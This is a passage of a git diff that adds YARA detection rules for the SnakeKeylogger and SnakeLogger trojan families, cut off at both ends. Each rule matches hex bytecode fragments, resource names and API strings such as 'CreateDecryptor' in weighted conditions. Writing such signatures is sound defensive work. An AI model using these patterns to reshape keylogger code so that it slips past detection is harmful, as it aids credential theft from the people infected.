+ $a_81_1 = {34 42 31 45 38 41 45 36 2d 30 39 43 38 2d 34 34 38 30 2d 38 33 39 39 2d 33 44 31 37 34 30 45 41 45 32 37 37 } //1 4B1E8AE6-09C8-4480-8399-3D1740EAE277 + $a_81_2 = {53 65 63 75 72 65 4d 6f 64 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 SecureMode.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SDDA_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SDDA_MTB.yar index 3c287723d4..8f1c11a74a 100644 --- a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SDDA_MTB.yar +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SDDA_MTB.yar @@ -8,4 +8,16 @@ rule Trojan_BAT_SnakeKeylogger_SDDA_MTB{ condition: ((#a_01_0 & 1)*3) >=3 +} +rule Trojan_BAT_SnakeKeylogger_SDDA_MTB_2{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SDDA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {04 19 8d 89 00 00 01 25 16 0f 01 28 ?? 00 00 0a 9c 25 17 0f 01 28 ?? 00 00 0a 9c 25 18 0f 01 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 11 08 } //2 + $a_03_1 = {07 12 03 28 ?? 00 00 0a 12 03 28 ?? 00 00 0a 58 12 03 28 ?? 00 00 0a 58 58 0b 02 09 04 05 28 ?? 00 00 06 11 0a } //1 + $a_01_2 = {53 74 6f 72 65 50 69 78 65 6c 44 61 74 61 } //1 StorePixelData + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SFDA_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SFDA_MTB.yar new file mode 100644 index 0000000000..1a481ac002 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SFDA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeKeylogger_SFDA_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SFDA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {2b 1e 0f 00 28 ?? 00 00 0a 0c 2b 18 0f 00 28 ?? 00 00 0a 0c 2b 0e 0f 00 28 ?? 00 00 0a 0c 2b 04 16 0c 2b 00 08 2a } //2 + $a_03_1 = {02 11 05 11 07 6f ?? 00 00 0a 13 08 09 17 58 0d 05 13 0a 11 0a 39 ?? 00 00 00 00 11 04 13 0b 11 0b } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SJHA_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SJHA_MTB.yar new file mode 100644 index 0000000000..2e47770a57 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SJHA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeKeylogger_SJHA_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SJHA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {01 25 16 12 08 28 ?? 00 00 0a 9c 25 17 12 08 28 ?? 00 00 0a 9c 25 18 12 08 28 ?? 00 00 0a 9c 6f ?? 00 00 0a 00 08 } //3 + $a_03_1 = {02 11 05 11 07 6f ?? 00 00 0a 13 08 04 03 6f ?? 00 00 0a 59 13 09 07 72 ?? ?? ?? 70 28 ?? 00 00 0a 2c 08 11 09 1f 64 fe 02 2b 01 } //2 + $a_01_2 = {47 65 74 50 69 78 65 6c } //1 GetPixel + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SLO_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SLO_MTB.yar index 48392e9dfd..950da4cebb 100644 --- a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SLO_MTB.yar +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SLO_MTB.yar @@ -8,4 +8,15 @@ rule Trojan_BAT_SnakeKeylogger_SLO_MTB{ condition: ((#a_01_0 & 1)*1) >=1 +} +rule Trojan_BAT_SnakeKeylogger_SLO_MTB_2{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SLO!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {11 04 74 1e 00 00 01 11 05 11 0a 75 07 00 00 1b 11 0c 11 07 58 11 09 59 93 61 11 0b 75 07 00 00 1b 11 09 11 0c 58 1f 11 58 11 08 5d 93 61 d1 6f 22 00 00 0a 26 19 13 0e 38 4c fe ff ff } //1 + $a_01_1 = {24 43 32 38 35 42 39 34 37 2d 41 36 33 44 2d 34 46 43 38 2d 42 43 31 37 2d 45 39 41 34 46 31 44 37 38 32 43 30 } //1 $C285B947-A63D-4FC8-BC17-E9A4F1D782C0 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + } \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SL_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SL_MTB.yar new file mode 100644 index 0000000000..a3724e3fb2 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeKeylogger_SL_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {08 07 8e 69 5d 13 11 07 11 11 11 0f 11 10 91 9c 03 11 0f 11 10 91 6f 4d 00 00 0a 08 17 58 07 8e 69 5d 0c 11 10 17 58 13 10 11 10 11 0d 32 d1 } //2 + $a_01_1 = {50 61 72 6b 4d 61 73 74 65 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //2 ParkMaster.Properties.Resources.resources + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SPT_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SPT_MTB.yar new file mode 100644 index 0000000000..a3fef65952 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_SPT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeKeylogger_SPT_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.SPT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {53 00 65 00 63 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 } //2 SecureMode.Properties.Resources + $a_81_1 = {24 34 42 31 45 38 41 45 36 2d 30 39 43 38 2d 34 34 38 30 2d 38 33 39 39 2d 33 44 31 37 34 30 45 41 45 32 37 37 } //1 $4B1E8AE6-09C8-4480-8399-3D1740EAE277 + $a_81_2 = {31 2e 36 2e 31 39 30 38 2e 30 } //1 1.6.1908.0 + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_STO_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_STO_MTB.yar new file mode 100644 index 0000000000..a2c455f29f --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_STO_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeKeylogger_STO_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.STO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {00 06 0e 07 0e 06 1b 23 ea e4 97 9b 77 e3 f9 3f 28 ?? 00 00 06 0b 02 03 04 06 05 0e 04 07 0e 08 23 39 b4 c8 76 be 9f e6 3f 28 ?? 00 00 06 00 00 06 17 58 0a 06 02 6f ?? 00 00 0a 2f 0b 03 6f ?? 00 00 0a 04 fe 04 2b 01 16 0c 08 2d b3 } //2 + $a_03_1 = {00 05 07 0e 06 23 00 00 00 00 00 00 e0 3f 19 28 ?? 00 00 06 0c 02 05 07 6f ?? 00 00 0a 0d 03 04 09 08 06 05 07 23 9a 99 99 99 99 99 b9 3f 17 28 ?? 00 00 06 00 0e 04 05 07 23 7b 14 ae 47 e1 7a 84 3f 17 28 ?? 00 00 06 00 00 07 17 58 0b 07 02 6f ?? 00 00 0a 2f 0b 03 6f ?? 00 00 0a 04 fe 04 2b 01 16 13 04 11 04 2d 97 } //2 + $a_81_2 = {51 4c 44 54 44 44 5f 46 50 54 2e 4d 61 69 6e 66 6f 72 6d 2e 72 65 73 6f 75 72 63 65 73 } //2 QLDTDD_FPT.Mainform.resources + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_81_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ZHU_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ZHU_MTB.yar new file mode 100644 index 0000000000..6ea3251844 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_SnakeKeylogger_ZHU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeKeylogger_ZHU_MTB{ + meta: + description = "Trojan:BAT/SnakeKeylogger.ZHU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {02 12 02 28 ?? 00 00 0a 12 02 28 ?? 00 00 0a 28 ?? 00 00 06 13 08 04 03 6f ?? 00 00 0a 59 13 09 11 09 19 fe 04 16 fe 01 13 10 11 10 2c 2e 00 03 12 08 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 08 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 08 28 50 00 00 0a 6f ?? 00 00 0a 00 00 2b 58 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_ANK_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_ANK_MTB.yar new file mode 100644 index 0000000000..656c1643a7 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_ANK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Snakekeylogger_ANK_MTB{ + meta: + description = "Trojan:BAT/Snakekeylogger.ANK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0a 06 02 7d ?? 01 00 04 06 03 7d ?? 01 00 04 06 04 7d ?? 01 00 04 00 06 28 ?? 00 00 0a 13 04 12 04 28 ?? 00 00 0a 15 6e 61 15 6e 61 7d } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_PGAT_MTB.yar b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_PGAT_MTB.yar new file mode 100644 index 0000000000..9d80324ce7 --- /dev/null +++ b/Trojan/BAT/SnakeKeylogger/Trojan_BAT_Snakekeylogger_PGAT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Snakekeylogger_PGAT_MTB{ + meta: + description = "Trojan:BAT/Snakekeylogger.PGAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? ?? 00 0a 0a 12 01 fe 15 30 00 00 02 12 01 12 00 28 ?? ?? 00 0a 7d d3 00 00 04 12 01 12 00 28 ?? ?? 00 0a 7d d4 00 00 04 12 01 12 00 28 ?? ?? 00 0a 7d d5 00 00 04 0e 05 0d 09 39 9b 00 00 00 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACF_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACF_MTB.yar new file mode 100644 index 0000000000..988503dea5 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_ACF_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ACF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {13 26 12 24 28 ?? 00 00 0a 13 27 11 25 11 26 58 11 27 58 13 28 11 28 1f 1f 61 13 28 04 03 6f ?? 00 00 0a 59 13 29 11 29 17 } //4 + $a_03_1 = {2b 24 03 11 25 6f ?? 00 00 0a 00 03 11 26 6f ?? 00 00 0a 00 2b 10 03 } //1 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACH_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACH_MTB.yar new file mode 100644 index 0000000000..cdca531439 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ACH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeLogger_ACH_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ACH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {0a 0f 00 28 ?? 00 00 0a 0b 0f 00 28 ?? 00 00 0a 0c 04 } //1 + $a_03_1 = {0a 06 0e 07 0e 08 28 ?? 00 00 06 0b 03 04 0e 06 28 ?? 00 00 06 0c 03 07 08 0e 06 0e 08 } //1 + $a_01_2 = {06 16 61 d2 0a 07 20 ff 00 00 00 5f d2 0b 08 16 60 d2 0c 04 } //3 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1+(#a_01_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AEXA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AEXA_MTB.yar new file mode 100644 index 0000000000..a46b2d8468 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AEXA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_AEXA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AEXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0a 25 07 6f ?? 00 00 0a 25 08 6f ?? 00 00 0a 25 18 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 13 04 2b 1f 2b 21 16 2b 21 8e 69 2b 20 2b 25 2b 27 72 ?? ?? 00 70 2b 23 16 2c 24 26 26 26 17 2b 25 de 5d 11 04 2b dd 06 2b dc 06 2b dc 6f ?? 00 00 0a 2b d9 13 05 2b d7 03 2b d6 11 05 2b d9 28 ?? 00 00 06 2b d8 13 06 2b d7 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AIZA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AIZA_MTB.yar new file mode 100644 index 0000000000..3843c42dd7 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AIZA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_AIZA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AIZA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {05 0e 04 0e 06 0e 08 17 1f 20 28 ?? ?? 00 06 0a 06 0e 05 0e 07 1f 40 23 66 66 66 66 66 66 e6 3f 28 ?? ?? 00 06 0b 16 0d 2b b8 02 03 04 06 07 17 28 ?? ?? 00 06 06 07 0e 06 0e 08 1f 0c 17 28 ?? ?? 00 06 18 0d 2b 9b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ALWA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ALWA_MTB.yar new file mode 100644 index 0000000000..19b6b93579 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ALWA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeLogger_ALWA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ALWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 25 07 6f ?? 00 00 0a 25 08 6f ?? 00 00 0a 25 18 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 0d 09 6f ?? 00 00 0a 13 04 11 04 06 16 06 8e 69 6f ?? 00 00 0a 13 05 03 20 ?? ?? 00 00 28 ?? 00 00 06 11 05 6f ?? 00 00 06 17 13 06 de 33 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ANAB_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ANAB_MTB.yar new file mode 100644 index 0000000000..bbadd74009 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ANAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_ANAB_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ANAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 03 02 11 03 91 11 01 11 03 11 01 6f ?? 00 00 0a 5d 28 ?? 00 00 06 61 d2 9c 20 } //5 + $a_01_1 = {11 03 17 58 13 03 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AOWA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AOWA_MTB.yar new file mode 100644 index 0000000000..32eb8fb877 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AOWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_AOWA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AOWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {70 0b 06 8e 69 8d ?? 00 00 01 0c 16 0d 38 ?? 00 00 00 08 09 06 09 91 07 09 07 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 09 17 58 0d 09 06 8e 69 32 e0 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AQAB_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AQAB_MTB.yar new file mode 100644 index 0000000000..baf38b2db7 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AQAB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_AQAB_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AQAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 00 11 03 02 11 03 91 11 01 11 03 11 01 6f ?? 00 00 0a 5d 6f ?? 00 00 0a 61 d2 9c 20 } //5 + $a_01_1 = {11 03 17 58 13 03 20 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AVYA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AVYA_MTB.yar new file mode 100644 index 0000000000..d6ef5dc51c --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AVYA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_AVYA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AVYA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 03 04 6f ?? 00 00 0a 0a 12 01 fe ?? ?? 00 00 02 12 01 12 00 28 ?? 00 00 0a 7d ?? 01 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 01 00 04 12 01 12 00 28 ?? 00 00 0a 7d ?? 01 00 04 12 01 07 7b ?? 01 00 04 07 7b ?? 01 00 04 5a 07 7b ?? 01 00 04 07 7b ?? 01 00 04 5a 58 07 7b ?? 01 00 04 07 7b ?? 01 00 04 5a 58 6c } //5 + $a_03_1 = {04 6c 11 05 5a 13 06 07 11 06 58 0b 2b 24 02 7b ?? 01 00 04 6c 11 05 5a 13 06 08 11 06 58 0c 2b 11 02 7b ?? 01 00 04 6c 11 05 5a 13 06 09 11 06 58 0d } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AWXA_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AWXA_MTB.yar new file mode 100644 index 0000000000..85a4a1f35e --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_AWXA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_AWXA_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.AWXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 21 17 11 26 16 94 11 26 17 94 58 1f 0a 5d 58 13 22 11 26 16 94 13 48 11 26 17 94 13 49 02 11 48 11 49 6f ?? 00 00 0a 13 4a 12 4a 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 5a 11 5a 2c 08 72 ?? 08 00 70 0c 2b 3e 12 4a 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 5b 11 5b 2c 08 72 ?? 08 00 70 0c 2b 22 12 4a 28 ?? 00 00 0a 20 c8 00 00 00 fe 02 13 5c 11 5c 2c 08 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BS_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BS_MTB.yar new file mode 100644 index 0000000000..27f4946cbb --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_BS_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.BS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {59 11 03 59 20 ff 00 00 00 5f d2 13 } //3 + $a_01_1 = {fe ff ff 11 02 66 d2 13 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BT_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BT_MTB.yar new file mode 100644 index 0000000000..f9e4f788fc --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_BT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_SnakeLogger_BT_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.BT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {59 13 0a 11 0a 19 fe 04 16 fe 01 13 10 11 10 2c 48 00 11 06 16 2f 07 11 08 16 fe 04 2b 01 16 } //4 + $a_03_1 = {9c 25 17 12 09 28 ?? 00 00 0a 9c 25 18 12 09 28 ?? 00 00 0a 9c } //1 + condition: + ((#a_01_0 & 1)*4+(#a_03_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_CE_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_CE_MTB.yar new file mode 100644 index 0000000000..9992388bc3 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_CE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_SnakeLogger_CE_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.CE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {2c 02 16 0b 28 ?? 00 00 0a 17 fe 02 0c 19 8d ?? 00 00 1b 25 16 06 } //2 + $a_01_1 = {1b 5d 0b 07 1a 2e 0e 07 19 2e 0a 07 18 2e 06 07 17 fe 01 2b 01 17 } //2 + $a_01_2 = {72 00 34 00 4e 00 64 00 30 00 6d 00 5f 00 35 00 41 00 31 00 74 00 } //1 r4Nd0m_5A1t + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_EKBH_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_EKBH_MTB.yar new file mode 100644 index 0000000000..df76ee9e74 --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_EKBH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_EKBH_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.EKBH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {5a 11 26 17 94 58 13 18 11 26 16 94 11 26 17 94 58 1f 19 5d 16 fe 01 13 19 11 26 17 94 19 5d 2c 17 11 26 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ENSJ_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ENSJ_MTB.yar new file mode 100644 index 0000000000..4c4931024f --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ENSJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_SnakeLogger_ENSJ_MTB{ + meta: + description = "Trojan:BAT/SnakeLogger.ENSJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {15 6e 61 15 6e 61 7d 87 00 00 04 06 73 69 00 00 0a 7d 86 00 00 04 06 7b 86 00 00 04 72 66 05 00 70 16 1f 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZER_MTB.yar b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZER_MTB.yar new file mode 100644 index 0000000000..e162257c1d --- /dev/null +++ b/Trojan/BAT/SnakeLogger/Trojan_BAT_SnakeLogger_ZER_MTB.yar @@ 